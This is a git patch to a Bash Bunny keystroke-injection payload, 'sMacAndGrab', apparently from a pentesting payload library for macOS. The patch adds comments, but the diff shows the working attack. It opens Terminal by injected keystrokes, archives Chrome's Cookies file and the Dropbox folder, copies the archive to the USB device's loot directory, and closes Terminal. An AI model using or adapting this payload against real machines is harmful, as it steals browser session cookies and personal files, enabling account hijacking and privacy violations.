From 16c461d850d963ff54d06598b239bc6268e02a8d Mon Sep 17 00:00:00 2001 From: Alex Flores Date: Mon, 13 Mar 2017 10:18:47 -0400 Subject: [PATCH] adds code comments --- payloads/library/SmacAndGrab/payload.txt | 16 +++++++++++----- payloads/library/SmacAndGrab/readme.md | 6 +++--- 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/payloads/library/SmacAndGrab/payload.txt b/payloads/library/SmacAndGrab/payload.txt index 78fad1ae..2d8bb5c5 100644 --- a/payloads/library/SmacAndGrab/payload.txt +++ b/payloads/library/SmacAndGrab/payload.txt @@ -3,7 +3,7 @@ # Title: sMacAndGrab # Author: audibleblink # Target: macOS -# Version: 1.0 +# Version: 1.1 # # Backup a list of files from macOS # @@ -13,13 +13,16 @@ LED G R 500 ATTACKMODE HID STORAGE +# make the loot directory on the BashBunny mkdir -p /root/udisk/loot/sMacAndGrab -# Unknown devices mount as NO NAME -dev_name="NO NAME" -lootdir="\"/Volumes/$dev_name/loot/sMacAndGrab\"" +# mounted device name +dev_name="BashBunny" -# Add your files here +# loot directory when mounted on the mac +lootdir="/Volumes/$dev_name/loot/sMacAndGrab" + +# Add files, folders, or commands that return filenames files_to_copy=( "\"~/Library/Application Support/Google/Chrome/Default/Cookies\"" # Quote paths with spaces "~/Dropbox" @@ -31,9 +34,12 @@ QUACK DELAY 1000 QUACK STRING terminal QUACK ENTER QUACK DELAY 4000 +# one-liner because we want the move command to wait for tar to finish +# tar take n time, depending on the contents of $files_to_copy QUACK STRING tar -cf \$USER.tar.gz ${files_to_copy[*]}\; mv \$USER.tar.gz $lootdir\; killall Terminal QUACK ENTER +# sync the filesystem sync LED G diff --git a/payloads/library/SmacAndGrab/readme.md b/payloads/library/SmacAndGrab/readme.md index 7b55277b..181d8d7b 100644 --- a/payloads/library/SmacAndGrab/readme.md +++ b/payloads/library/SmacAndGrab/readme.md @@ -1,8 +1,8 @@ # sMacAndGrab -Author: audibleblink -Version: Version 1.0 -Target: macOS +Author: audibleblink +Version: Version 1.1 +Target: macOS ## Description